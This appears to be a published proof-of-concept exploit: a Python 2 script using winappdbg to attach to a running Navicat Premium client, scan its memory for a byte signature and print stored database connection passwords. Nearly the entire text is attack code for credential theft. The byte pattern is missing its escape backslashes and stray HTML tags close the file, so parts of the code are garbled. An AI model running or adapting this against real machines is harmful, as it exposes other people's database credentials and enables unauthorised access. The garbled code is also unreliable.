#####
# Navicat Premium client v11.2.11 is vulnerable to local password disclosure, the supplied password is stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied password in order to gain access to the database.
# Proof-Of-Concept Code:
#####
 
import time
from winappdbg import Debug, Process
 
count       = 0
found       = 0
filename    = "navicat.exe"
process_pid = 0
memory_dump = []
 
def b2h(str):
    return ''.join(["%02X " % ord(x) for x in str]).strip()
 
def h2b(str):
    bytes = []
    str = ''.join(str.split(" "))
    for i in range(0, len(str), 2):
        bytes.append(chr(int(str[i:i+2], 16)))
    return ''.join(bytes)
 
debug = Debug()
try:
    print "[~] Searching for pid by process name '%s'.." % (filename)
    time.sleep(1)
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(filename):
        process_pid = process.get_pid()
    if process_pid is not 0:
        print "[+] Found process with pid #%d" % (process_pid)
        time.sleep(1)
        print "[~] Trying to read memory for pid #%d" % (process_pid)
         
        process = Process(process_pid)
        for address in process.search_bytes('x00x90x18x00x00x00x00x00x00x00'):
            memory_dump.append(process.read(address,30))
        memory_dump.pop(0)
        for i in range(len(memory_dump)):
            str = b2h(memory_dump[i])
            first = str.split("00 90 18 00 00 00 00 00 00 00 ")[1]
            last = first.split("00 ")
            if last[0]:
                count = count+1
                found = 1
                print "[+] Password for connection #%d found as %s" % (count, h2b(last[0]))
        if found == 0:
            print "[-] Password not found! Make sure the client is connected at least to one database."
    else:
        print "[-] No process found with name '%s'." % (filename)
     
    debug.loop()
finally:
    debug.stop()</BODY></HTML>
